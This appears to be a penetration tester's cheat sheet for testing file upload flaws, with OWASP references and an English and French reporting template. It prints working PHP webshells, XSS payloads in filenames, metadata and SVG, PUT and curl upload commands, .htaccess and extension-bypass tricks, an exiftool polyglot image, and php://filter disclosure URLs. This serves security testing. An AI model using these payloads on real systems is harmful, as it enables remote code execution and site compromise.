- MIME Sniffing
- File upload vulnerabilities (PortSwigger)
OWASP Testing Guide:
WSTG-BUSL-08: Test Upload of Unexpected File Types
WSTG-BUSL-09: Test Upload of Malicious Files
Testing
Submit the “not approved” file for upload and verify that they are properly prevented from uploading
- Check if the website only do file type check in client side JavaScript
- Check if the website only check the file type by “Content-Type” in HTTP request.
- Check if the website only check by the file extension.
- Check if other uploaded files can be accessed directly by specified URL.
- Check if the uploaded file can include code or script injection.
- Check if there is any file path checking for uploaded files. Especially, hackers may compress files with specified path in ZIP so that the unzip files can be uploaded to intended path after uploading and unzip.
XSS in file upload
If you cannot upload a webshell, try uploading malicious client-side scripts. If you can upload HTML files or SVG images, you can potentially use <script> tags to create stored XSS payloads.
NOT TESTED
Filename
If filename is included in the page, try injecting an XSS payload in the filename.
Metadata
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' whatever.jpeg
Content
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
Source
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Create a webshell
Depending on the language used by the web application, create a webshell file locally on your computer. See Web Shells.
webshell.php
<?php passthru($_REQUEST[c]); ?>
Webshell upload (no restrictions)
Uploading the webshell file without changing anything.
Uploading files using PUT
You can try sending OPTIONS requests to different endpoints to test for any that advertise support for the PUT method.
Try using the PUT method for uploading malicious files, even when there is no upload function via the web interface. Also in HTTP Methods.
Try uploading a simple HTML file first. This should create a file: http://IP/test.html
PUT /test.html HTTP/1.1
Host: vulnerable-website.com
...
Content-Length: 12
<p>Test<p>
Try uploading a webshell. Use the appropriate webshell like “cat /usr/share/webshells/aspx/cmdasp.aspx”.
Burp will adjust the Content-Length value.
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
Using curl
-T is the same as –upload-file. It uses the PUT method.
FILE=/usr/share/webshells/php/simple-backdoor.php
URL=https://example.com/vulnerabledir
curl --upload-file $FILE $URL/
curl -X PUT -d "<p>Test</p>" $URL/test.html
curl -X PUT -d "@${FILE}" $URL/file.php
Content-Type restriction bypass
Upload the webshell file. Change the Content-Type from “application/octet-stream” to the type expected by the web application (like “image/jpeg”):
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/jpeg
Path traversal
Upload the webshell file. If the content is not executed (text is displayed instead), try a path traversal to write the file elsewhere. Use URL encoding to bypass restrictions on “/”.
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: application/octet-stream
Bypass via new extension (.htaccess/Apache)
This .htaccess file maps an arbitrary extension (.l33t) to the executable MIME type application/x-httpd-php. As the server uses the mod_php module, it knows how to handle this already.
Create a .htaccess file locally
AddType application/x-httpd-php .l33t
Upload the .htaccess file on the server
- Change the value of the filename parameter to “.htaccess”.
- Change the value of the Content-Type header to “text/plain”.
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXQ9bQMD0l3oFDfao
...
------WebKitFormBoundaryXQ9bQMD0l3oFDfao
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .l33t
------WebKitFormBoundaryXQ9bQMD0l3oFDfao--
Upload the webshell
Upload the webshell with the .l33t extension.
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqQBNC96c1YVuBBsI
...
------WebKitFormBoundaryqQBNC96c1YVuBBsI
Content-Disposition: form-data; name="avatar"; filename="webshell.l33t"
Content-Type: application/octet-stream
<?php passthru($_REQUEST[c]); ?>
------WebKitFormBoundaryqQBNC96c1YVuBBsI--
Bypass file content check via polyglot webshell
Instead of implicitly trusting the Content-Type specified in a request, more secure servers try to verify that the contents of the file actually match what is expected. Using special tools, such as ExifTool, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata.
Download any image and insert a PHP webshell payload. Try uploading the file “webshell.php” in the web application.
wget -O webshell.jpg http://placekitten.com/100/100
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' webshell.jpg -o webshell.php
File extension restriction bypass
See explanations from PortSwigger.
Try combining these techniques.
Multiple extensions | filename=”webshell.php.jpg” |
Multiple extensions & semicolons | filename=”webshell.php;.jpg” |
Multiple extensions & URL-encoded null byte character | filename=”webshell.php%00.jpg” |
Add trailing characters (whitespaces and dots) | filename=”webshell.php.” filename=”webshell.php “ filename=”webshell.php… … . . .. .. ” (VALIDATE THIS ONE) |
URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes | filename=”webshell%2Ephp” filename=”..%2fwebshell.php” |
Multibyte unicode characters | Sequences like xC0 x2E , xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path. |
Based on the application stripping dangerous extensions, try obtaining a valid one. | filename=”webshell.p.phphp” |
Changing letters to capital form file.aSp or file.PHp3 | filename=”webshell.pHp” |
Forbidden extensions | filename=”file.asp:.jpg” filename=”file.asp::$data” filename=”test.cmd\”” (TO VALIDATE) |
Server executable extensions | filename=”file.php5″ filename=”file.shtml” filename=”file.asa” filename=”file.cert” |
Data URLs / Data URIs
data:[<mime type>][;base64],<data>
Plain text
data:,Hello%2C%20World!
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==
# <h1>Hello, World!</h1>
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
# Javascript
data:text/html,<script>alert('hi');</script>
Other Examples
This section requires some cleanup…
# PHP Filters: result in base 64, decode it with Burp Suite Decoder
url/?inc=php://filter/convert.base64-encode/resource=index.php
url/?inc=php://filter/convert.base64-encode/resource=config.php
Upload PDF file
POST ...
...
Content-Type: multipart/form-data; boundary=---------------------------1048576--
...
-----------------------------1048576
Content-Disposition: form-data; name="file"; filename="smallest.pdf"
Content-Type: application/pdf
%PDF-1.0
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj 3 0 obj<</Type/Page/MediaBox[0 0 3 3]>>endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000053 00000 n
0000000102 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%EOF
-----------------------------1048576--
Reporting
CVSS Score v3 | Depends on what can be uploaded |
CVSS Vector v3 |
English
Title | Upload file type restriction bypass |
Description | |
Steps to reproduce | |
Remediation | From PortSwigger: – Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It’s much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload. – Make sure the filename doesn’t contain any substrings that may be interpreted as a directory or a traversal sequence ( ../ ).– Rename uploaded files to avoid collisions that may cause existing files to be overwritten. – Do not upload files to the server’s permanent filesystem until they have been fully validated. – As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms. |
French
Title | Ajout de fichiers : contournement du filtre sur les types de fichier permis |
Description | CVSS: 0.0 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:N&version=3.1 L’application permet de téléverser des fichiers. Un filtre restreint normalement les types de fichiers permis (pdf). Il est possible de contourner ce filtre en interceptant la requête et en modifiant le “header” Content-Type. Le contenu du fichier n’est pas vérifié (exemple un fichier .pdf qui contient un script). Cette attaque nécessite un compte dans l’application. Il n’a pas été possible de contrôler le nom du fichier enregistré sur le serveur. |
Steps to reproduce | |
Remediation | Valider correctement le nom du fichier téléversé Valider le “header” Content-Type Valider le contenu du fichier |